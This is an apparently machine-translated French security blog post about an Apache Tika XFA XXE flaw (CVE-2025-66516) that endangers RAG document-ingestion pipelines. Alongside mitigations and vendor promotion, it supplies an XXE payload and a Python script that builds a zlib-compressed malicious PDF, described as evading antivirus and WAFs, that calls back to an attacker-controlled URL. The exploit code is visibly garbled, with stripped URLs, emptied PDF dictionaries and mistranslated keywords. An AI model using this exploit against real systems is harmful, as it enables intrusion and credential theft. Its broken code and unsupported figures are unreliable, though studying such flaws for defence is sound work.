Anatomie d'un RAG Killer : Plongée en profondeur dans CVE-2025-66516 et le RCE Apache Tika

Dans la précipitation du déploiement des pipelines RAG (Retrieval-Augmented Generation), l'industrie a collectivement ignoré une vérité fondamentale : L'analyseur est la surface d'attaque.

Alors qu'en 2025, les gros titres se concentraient sur l'injection de messages et le "Jailbreaking", les attaques les plus dévastatrices ciblent les logiciels intermédiaires peu élégants qui traitent les données. CVE-2025-66516 (CVSS 10.0) est le point culminant de cette négligence. Il ne s'agit pas d'une vulnérabilité de l'IA en soiIl s'agit d'une vulnérabilité de l'infrastructure existante utilisée comme arme contre les architectures modernes d'intelligence artificielle.

Cette analyse décompose les mécanismes de la vulnérabilité Apache Tika XFA, démontre pourquoi les WAFs standards ne parviennent pas à la détecter, et fournit une stratégie de preuve de concept (PoC) vérifiée pour les testeurs de pénétration.

Le contexte : Pourquoi CVE-2025-66516 est-il important aujourd'hui ?

Pour comprendre la gravité de la situation, nous devons analyser l'architecture d'un système RAG d'entreprise type en 2026.

1. Couche utilisateur : Un employé télécharge un PDF (par exemple, un rapport financier ou un CV) vers un "assistant IA" interne.
2. Couche d'ingestion : Le backend (LangChain, LlamaIndex ou des scripts Python personnalisés) utilise un chargeur de documents.
3. Couche d'analyse : 85% de ces chargeurs s'appuient sur Apache Tika (qui fonctionne souvent comme un serveur sans tête dans un conteneur Docker) pour extraire du texte.
4. Vectorisation : Le texte est intégré et stocké dans une base de données vectorielle (Pinecone, Milvus, Weaviate).

CVE-2025-66516 hits Couche 3. Il permet à un pirate d'intégrer une charge utile XML Forms Architecture (XFA) malveillante à l'intérieur d'un PDF standard. Lorsque Tika tente d'analyser les données du formulaire afin d'en extraire le texte pour le LLM, il exécute le XML, ce qui entraîne les problèmes suivants Entité externe XML (XXE) injection.

Comme le serveur Tika fonctionne souvent avec les privilèges de l'administrateur à l'intérieur des conteneurs pour gérer les fichiers temporaires, ce XXE s'élève immédiatement à Exécution de code à distance (RCE) ou Falsification des requêtes côté serveur (SSRF)permettant aux attaquants de déverser les informations d'identification des métadonnées AWS ou de pivoter dans le VPC interne.

Décomposition technique : La faille logique de l'analyseur XFA

La vulnérabilité existe dans le org.apache.tika.parser.pdf.PDFParser en particulier dans la façon dont elle gère le XDP (XML Data Package) à l'intérieur d'un PDF.

Dans les versions antérieures à la 3.2.2, la logique d'extraction des données XFA ressemblait à ceci (représentation Java simplifiée) :

Java

// SEGMENT DE CODE VULNERABLE (Conceptuel) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA() ; Document xfaDom = xfa.getDomDocument() ; // <--- Point de déclenchement // Le transformateur XML par défaut n'a pas désactivé les DTD // ou les entités externes de manière efficace pour les flux XFA. this.extractTextFromXFA(xfaDom) ; }

L'erreur critique consistait à supposer que le moteur de rendu PDF (PDFBox) assainissait le flux XML avant que Tika n'accède au DOM. Ce n'est pas le cas. L'analyseur syntaxique fait implicitement confiance à la structure interne du PDF.

Comparaison : Standard XXE vs. CVE-2025-66516

Construction de l'exploit (PoC)

Pour en tirer parti, un simple éditeur de texte ne suffit pas. Nous devons manipuler la structure de l'objet PDF. L'objectif est d'injecter un XDP qui fait référence à une entité externe sous votre contrôle.

Phase 1 : La charge utile XML malveillante

Tout d'abord, nous créons le XML qui définit l'entité. Nous voulons tester l'interaction hors bande (OOB) pour confirmer la vulnérabilité sans planter le serveur.

XML

<xdp:xdp xmlns:xdp=""> <!DOCTYPE data [ <!ENTITY % payload SYSTEM ""> %payload ; ]> CVE-Check

Phase 2 : Script d'injection Python

Nous utilisons Python pour envelopper ce XML dans une structure d'objet PDF valide. Cela permet de contourner les antivirus basés sur les signatures, car le fichier est un PDF mathématiquement valide.

Python

`import zlib

def build_exploit_pdf(callback_url) : # 1. Définir le paquet XFA malveillant xfa_xml = f""" <xdp:xdp xmlns:xdp=""http://ns.adobe.com/xdp/"> <!DOCTYPE root [ %xxe ; ]> """.strip()

# 2. Compresser le flux (Obfuscation)
# Tika va automatiquement gonfler ceci, mais les WAFs manquent souvent les flux compressés
stream_content = zlib.compress(xfa_xml.encode('utf-8'))

# 3. Construire le corps du PDF
L'objet 3 de # référence le flux XFA
pdf_body = (
    b "%PDF-1.7\n"
    b "1 0 obj\n<< /Type /Catalogue /Pages 2 0 R /AcroForm <>\Nendobj\n"
    b "2 0 obj\n<>\nendobj\n"
    b "3 0 obj\n<>\N"
    b "stream\n" + stream_content + b"\nendstream\nendobj\n"
    b "trailer\n<>\n%%EOF"
)

with open("resume_hacker.pdf", "wb") as f :
    f.write(pdf_body)
print(f"[+] Artifact 'resume_hacker.pdf' créé en utilisant la compression zlib.")

Exécuter

build_exploit_pdf("http://burp-collaborator-url/xxe_trigger“)`

Lorsque l'agent RAG de la victime traite resume_hacker.pdf pour générer des embeddings, le backend Tika gonfle l'objet 3, analyse le XML et envoie une requête à l'URL de votre collaborateur.

L'angle mort des DevSecOps modernes

Pourquoi CVE-2025-66516 persiste-t-il en 2026 ? Il met en évidence une lacune importante dans la méthodologie "Shift Left".

La plupart des équipes DevSecOps analysent leurs code source (SAST) et leur images de base (analyse des conteneurs). Cependant, Tika est souvent considéré comme un utilitaire "boîte noire".

• SAST ne le voit pas car il s'agit d'une dépendance binaire.
• DAST (Dynamic Application Security Testing) brouille généralement les points d'extrémité de l'API avec JSON ou SQLi, mais tente rarement des téléchargements de fichiers polyglottes complexes au format binaire.

C'est là que les méthodologies de test traditionnelles échouent face aux agents d'intelligence artificielle. L'agent est conçu pour consommer des données complexes non structurées ; les cas de test doivent donc être des données complexes non structurées.

Validation automatisée avec Penligent

Ce vecteur spécifique - les attaques intégrées dans des formats de fichiers non structurés - est au cœur de la sécurité offensive de nouvelle génération. C'est là que des outils comme Penligent se distinguent des scanners traditionnels tels que Nessus ou Burp Suite.

Les agents IA de Penligent sont conçus pour comprendre le contexte de l'application. Lorsque Penligent rencontre un point d'arrivée de téléchargement de fichier dans un pipeline RAG, il ne se contente pas de brouiller les en-têtes HTTP. Il construit intelligemment des charges utiles "basées sur la mutation" comme l'exploit PDF ci-dessus. Il demande en fait : "Si j'envoie à cette IA un CV contenant un exploit au niveau du noyau, le traitera-t-elle ?

En automatisant la création de ces fichiers polyglottes (PDF contenant des XXE, images contenant des webshells PHP), Penligent simule un attaquant sophistiqué qui comprend la logique d'analyse sous-jacente de la cible, fournissant une évaluation réaliste de la résilience du pipeline RAG contre CVE-2025-66516 et d'autres attaques similaires de "confusion de format".

Stratégies d'atténuation

Si votre organisation s'appuie sur Tika (ou sur des frameworks qui l'intègrent, tels que Unstructured.io ou LangChain Community), appliquez ces correctifs immédiatement.

1. L'option "nucléaire" : Désactiver l'XFA

À moins que votre activité ne nécessite spécifiquement l'analyse de données provenant de formulaires PDF interactifs (ce qui est rare pour RAG), désactivez entièrement l'analyseur XFA dans la section tika-config.xml.

XML

false false false

2. Isoler l'analyseur (le modèle du "sas")

N'exécutez jamais l'analyse de documents dans le même contexte que votre logique d'application ou votre base de données vectorielle.

• Exécuter Tika dans un conteneur sans distorsion.
• Isolation du réseau : Le conteneur Tika doit avoir accès zéro à la sortie. Il reçoit un fichier, renvoie du texte et ne peut pas établir de connexions avec l'internet ou le service interne de métadonnées en nuage (169.254.169.254).
• Limites des ressources : Fixer des limites strictes à la mémoire (Xmx) pour empêcher les attaques DoS "Billion Laughs", qui sont souvent des cousins de XXE.

3. Passer à des analyseurs en bac à sable

Envisagez d'abandonner les analyseurs syntaxiques basés sur Java pour les entrées non fiables. Des alternatives modernes utilisant Rust ou Go, ou des environnements de type "bac à sable" comme gVisor ou Pétard AWSfournissent une couche d'isolation beaucoup plus solide pour la tâche intrinsèquement risquée de l'analyse des fichiers binaires.

Résumé

CVE-2025-66516 est un signal d'alarme pour la sécurité de l'IA. Nous construisons des châteaux intelligents sur du sable. Tant que nos modèles d'IA s'appuieront sur des bibliothèques d'analyse vieilles de plusieurs décennies pour interpréter le monde, ces bibliothèques resteront le chemin de moindre résistance pour les attaquants.

Sécurisez votre couche d'ingestion. Vérifiez vos versions de Tika. Et supposez que chaque PDF téléchargé sur votre système est une arme jusqu'à preuve du contraire.

Références et lectures complémentaires

• Bulletins de sécurité Apache Tika (officiels)
• OWASP Top 10 pour les applications LLM : LLM06 Agence excessive
• NVD - CVE-2025-66516 Détail
• Présentation de BlackHat 2025 : "Parsing the Unparsable" (analyser ce qui n'est pas analysable)